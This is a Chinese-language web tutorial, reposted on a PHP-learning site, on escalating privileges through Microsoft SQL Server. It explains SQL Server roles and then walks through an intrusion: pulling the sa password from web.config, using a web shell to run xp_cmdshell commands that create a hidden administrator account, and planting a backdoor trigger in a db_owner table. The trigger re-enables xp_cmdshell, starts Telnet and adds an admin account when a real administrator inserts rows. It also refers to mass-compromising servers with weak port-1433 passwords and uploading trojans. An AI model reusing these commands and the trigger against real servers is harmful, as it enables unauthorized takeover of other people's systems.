网站地图    收藏   

主页 > 后端 > 网站安全 >

Sql Server 提权 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 13:02 作者: 阅读:

[导读] 0x00 Sql Server简介0x01 用户权限介绍0x02 Sa用户提权0x03 db_owner提权0x00 Sql Server简介SQL是英文Structured Query Language的缩写,意思为结构化查询语言。SQL语言的主要功能就是同各种数据库建立.....

0x00  Sql Server简介
0x01  用户权限介绍
0x02  Sa用户提权
0x03  db_owner提权
 
0x00  Sql Server简介
SQL是英文Structured Query Language的缩写,意思为结构化查询语言。SQL语言的主要功能就是同各种数据库建立联系,进行沟通。按照ANSI(美国国家标准协会)的规定,SQL被作为关系型数据库管理系统的标准语言。
 
SQL Server是由Microsoft开发和推广的关系数据库管理系统(DBMS),它最初是由Microsoft、Sybase和Ashton-Tate三家公司共同开发的,并于1988年推出了第一个OS/2版本。Microsoft SQL Server近年来不断更新版本,1996年,Microsoft 推出了SQL Server 6.5版本;1998年,SQL Server 7.0版本和用户见面;SQL Server 2000是Microsoft公司于2000年推出,目前最新版本是2012年3月份推出的SQL SERVER 2012。
 
不知道大家以前或者现在有没有搞过端口抓鸡呢,1433端口,如果弄过的童鞋一定很熟悉这个端口,其实这个端口抓鸡的原理就是依靠SQL Server数据库的弱口令进行传马/执行cmd等一系列的入侵行为- -.其实sql server 也可以叫mssql相信这个大家会更熟悉一些.下面我们就来介绍Sql server 各个用户里的权限.
 
 
0x01  用户权限介绍
 
Sa 可以执行mssql数据库的所有操作
db_owner 执行所有数据库角色活动
public 维护所有默认权限
db_accessadmin 添加和删除数据库用户, 组及角色
db_ddladmin 添加、更改或删除数据库对象
db_security admin 分配语句执行和对象权限
db_backupoperator 备份数据库
db_datareader 读取任何表中的数据
db_datawriter 添加、更改或删除所有表中的数据
db_denydatareader 不能读取任何表中的数据
db_denydatawriter 不能更改任何表中的数据
 
在没降权的情况下,MSSQL的服务是以system权限运行的.注意这一点很重要,如果mssql服务是以users组或者guests组降权运行的话,会导致下面一系列的操作进行不了.
MSSQL的数据库帐户权限类似WINDWOS(这里是类似.不是等于),简单来说可以分为SA,DB_OWNER,PCUBLIC等,SA 类似WINDWOS中的管理员,DB_OWNER类似WINDOWS中的Power Users.
Power Users高级用户可以改变所有配置,执行所有程序,唯一就是不能把自己加进administrators组去.但mssql里的db_owner显然没windows的Power Users那么可爱,他相对来说没那么大的权限,他不能执行程序.db_owner能对mssql数据库进行任何操作.比如建一个表,或者建一个字段,删除那个表删除那个字段,包括修改插入,都是可以做到的.仅限于自己所管理的数据库之内,他只在自己所在的数据库之内,他就不能深入到系统里面,去执行系统的命令,当然他也不能执行程序.也就是说如果你的mssql账号dbowner权限的话,你想上传个木马运行那是不现实的,PCUBLIC相当于users用户,只能在指定的数据库内进行一些简单的操作,不能用于提权.
 
0x02  Sa权限提权
  在讲sa权限提权前我们先说说这个提权的前提一些重要点,第一mssql的服务没有降权,是以默认服务继承的权限来运行的.第二那就是找到sa的用户密码(你这不是废话么.小心我楼下丢你鸡蛋和臭菜叶子! 哎哟.砸中枪了).
  0.0 先说说一般我是咋找的吧,在网站的目录下一般情况下,你是有可读可写的权限。 你可以尝试找一下asp网站的话大概就conn.asp(一般都放在这文件名的文件里,不过asp类型的网站很少有用到mssql的,现在一般用asp的网站都是一些小型网站.access基本够了).如果是aspx类型的网站那就是web.config这个文件里了.一般数据库的数据库、账号、密码都是以明文保存的,当然也有一些不是以明文保存是以一些bin目录里的加密的base64的加密函数保存,或者是以hash加密保存下来的sa密码.这里不多做详细的解释.
 
hash加密的参考
http://it.anhuinews.com/network/442646/391737177179.shtml
Asp.net解密反编译
http://gov.com.im/art_design/2011/1113/asp-net%E8%A7%A3%E5%AF%86.html
现在,我们开始,sa提权之旅吧.









1
先扫描一遍端口,mssql开启的服务端口是1433..- -我这里是mssql2K不知道为啥.搭建的环境1433端口硬是没开..奇怪。-0-我这里大概说一下.
 
接下来在网站的目录下找mssql连接的字符串
<add key="ConnectionString" value="server=(local);uid=sa;pwd=sa;database=Northwind" />
 
Local 本地ip
Uid=账号sa
Pwd=密码sa
Database=数据库Northwind
 
2
 
在aspxspy下,我们连接上去提权.
 



3
server=localhost;UID=sa;PWD=sa;database=Northwind;Provider=SQLOLEDB
Server输入的是ip地址.
Uid就是mssql的账号pwd 就是mssql账号密码。这样看应该清晰了吧0.0
在go的旁边的菜单栏点击一下,选择mssql.再点击go.
 
 

4
 
登陆以后我们首先看看他是什么权限.
Exec master.dbo.xp_cmdshell 'whoami'
返回nt authority\system
 
太好了,没有降权-0-。System权限在基础篇上讲过,是windows理论上最高权限的用户.这可是比administrator还要高很多.由于mssql默认安装下是继承系统的权限神马的.所以他有了system这权限.
 
接下来我们执行创建账号密码的mssql语句吧
 


5
Exec master.dbo.xp_cmdshell 'net user xiaoguai www.h4x0er.com /add'
Exec master.dbo.xp_cmdshell 'net localgroup administrators xiaoguai /add'
添加账号xiaoguai 密码www.h4x0er.com
把xiaoguai添加到administrators这个用户组里(这里做个小提示,有些管理员为了恶心一下一些不咋懂用户组的小菜鸟,会把guests组改成administrators组来恶心人- -,最好就是先确定管理员所在的组,然后再把你的用户添加进那个组里面.)
Exec master.dbo.xp_cmdshell ' ' 在这''俩个单引号里面可以执行dos命令.是以system权限运行的.你可以把木马传上去,然后执行.
 
 
提示执行成功了我们接着
 

6
Exec master.dbo.xp_cmdshell 'net user '
 
0.0. 有xiaoguai这个账号了.
接着这里就不提供找端口的了. 一般都是netstat -an 或者注册表神马的里面翻,上一节文章已经写了.
 
 
Asp的大概演示一下
 



 
7
我的asp的shell里面有sql 命令
第二个框是mssql账号
第三个框是mssql密码
Command 就是让你输入dos命令,然后他会执行的.
这里我就输入个ver做下演示.
Ms_sql提权这个 我这里也登陆不了.没1433端口呃.. 大概就这样吧.和aspx的那个数据库连接也差不多.
 
至于mssql提权时候遇到的一些错误要怎么修复.
我这里贴个文章吧.大家有兴趣,或者提权的时候遇到错误命令执行不了的时候就可以去试试了.http://netsky-cheng.iteye.com/blog/1057315
 
0x03  db_owner提权
  这个方法比较另类,实现的过程也比较鸡肋..为了学习,我还是把方法提供出来吧.
  Db_owner可以执行所有数据库角色活动.
  不能调用xp_cmshell的话我们就做一个触发器来触发达到提权的效果.
首先登陆..
 
8
是db_owner的权限..
我们在db_wner他所在管理的表里,创建一个触发器,等管理员用sa用户去执行插入表命令的时候会触发,达到提权的效果。
我这里大概提供个思路吧.毕竟我也没成功利用过..
 9
这个db_owner用户可以管理test这个表.
 
我们就在这个表里找到会员的账号密码所在的表段名
 
10
大概就是这几个表里。
这里我们用bairong_Users 来演示,我这里用BSQL来演示,其实和aspxspy也一样.也就是个执行的工具.
 


11
 
 
12
执行完毕后,查看用户表.点击触发器会有TR_hacker1这个在.
 
create TRIGGER TR_HACKER1 ON bairong_Users
AFTER INSERT
AS
BEGIN
      EXECUTE SP_ADDEXTENDEDPROC 'MASTER.DBO.XP_CMDSHELL','XPLOG70.DLL'--'XPSQL70.DLL'
      EXECUTE MASTER.DBO.XP_CMDSHELL 'NET START TELNET'
      EXECUTE MASTER.DBO.XP_CMDSHELL 'net user xiaoguai www.h4x0er.com /add'
      EXECUTE MASTER.DBO.XP_CMDSHELL 'net localgroup administrators xiaoguai /add'
End
 
我来解释一下上面的mssql语句大概意思
就是创建一个名字叫TR_HACKER1的触发器在bairong_User表里,
然后等管理员执行这个表里相关的信息时候,就触发执行mssql的xp_cmshell 里的特定dos命令.
我这里写的是 开启Telnet服务,创建账号xiaoguai 密码……添加管理员.- -如果怕不够保险的话,就写多几句修复错误。这里不多说,抛砖引玉。。
 
我们来模拟管理员以sa登陆,然后维护的时候..
 


13
 
 



14
INSERT INTO bairong_Users(UserName,Password) VALUES('xiaoguai','11111')
 
当管理员在bairong_Users这个表里插入
Username:xiaoguai
Password:11111
的时候,就会触发我们留下的后门。
 
15
 
看到了吧,xiaoguai账号已经创建成功.
 
Db_owner用户提权的思路就是,把自己有权限管理的表里面,插一大堆后门触发器.
只要管理员以sa权限登录,想查一下日志或者插入语句的时候.就会触发我们的后门,达到创建系统账号的效果.成功率比较低,效率也比较低
--还有一个方法就是利用db_owner的权限备份到启动项那里,写创建账号的密码的那bat..我这写的比较紧,也没测成功,把文章贴出来吧。
http://www.2cto.com/Article/200907/40312.html  针对Db_owner权限下的提权脚本


Author:小乖&Mix0xrn  Email:hx0c4k@gmail.com Weibo:http://t.qq.com/HanWellZhe & http://weibo.com/x1aoguai

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论